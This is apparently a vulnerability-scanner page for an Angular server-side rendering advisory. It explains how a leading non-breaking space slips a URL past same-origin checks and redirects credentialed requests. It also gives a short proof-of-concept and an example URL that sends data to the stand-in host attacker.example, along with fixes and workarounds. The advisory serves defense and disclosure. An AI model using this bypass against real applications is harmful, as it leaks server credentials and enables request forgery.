CVE-2026-88056 — Vulnerability in @angular/platform-server
Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.63%). Schedule for your next planned update.
Does your project use an affected @angular/platform-server version?
Paste your package-lock.json to check it for CVE-2026-88056 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.
Technical Description
When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.
However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.
Impact & Reachability
- Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's
HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. - Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.
Proof of Concept:
// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);
if (target.origin !== trustedOrigin.origin) {
throw new Error('Cross-origin request blocked');
}
// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});
// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.
Workarounds
- Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as
\u00A0) before performing origin checks or passing them toHttpClient. - Avoid relying solely on
new URL(input, trustedOrigin).originfor authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
Advisory Timeline
- First published September 10, 2026 (77 days ago).
- Last revised September 10, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install @angular/platform-server@20.3.30
npm install @angular/platform-server@21.2.22
npm install @angular/platform-server@22.1.4
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (4)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| @angular/platform-server npm · Affected: All versions | 20.3.30 |
| @angular/platform-server npm · Affected: All versions | Range-based data available |
| @angular/platform-server npm · Affected: All versions | 21.2.22 |
| @angular/platform-server npm · Affected: All versions | 22.1.4 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-918Server-Side Request Forgery (SSRF)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
References
- https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4WEB
- https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034cWEB
- https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132WEB
- https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970WEB
- https://github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599WEB
- https://github.com/angular/angularPACKAGE
- https://github.com/angular/angular/releases/tag/v20.3.30WEB
- https://github.com/angular/angular/releases/tag/v21.2.22WEB
- https://github.com/angular/angular/releases/tag/v22.1.4WEB
Frequently Asked Questions
- What is CVE-2026-88056?
- Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
- How do I check if my project is affected by CVE-2026-88056?
- CVE-2026-88056 affects @angular/platform-server. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-88056 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 44.6% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-41423HIGH
Angular: SSRF via protocol-relative and backslash URLs in Angular Platform-Server
- CVE-2026-32635HIGH
Angular vulnerable to XSS in i18n attribute bindings
- CVE-2026-50556HIGH
@angular/platform-server: Missing `<noscript>` Raw-Text Serialization Escaping leads to Cross-Site Scripting (XSS) in Angular SSR
- CVE-2026-88058HIGH
Angular SSR: XSS via Unescaped Processing Instruction (<?...?>) Nodes in Fallback Raw-Content Elements
- CVE-2026-69151HIGH
Angular i18n: Cross-Site Scripting (XSS) via event-handler attributes
- CVE-2026-88060HIGH
Angular: SSR XSS via Unescaped <template> Content Across DocumentFragment Boundaries in Fallback Raw-Content Elements
- CVE-2026-69149HIGH
Angular SSR: Missing Fallback Raw-Content Serialization Escaping leads to Cross-Site Scripting (XSS)
- CVE-2026-50168HIGH
@angular/platform-server: URL Parser Differential leading to SSRF Allowlist Bypass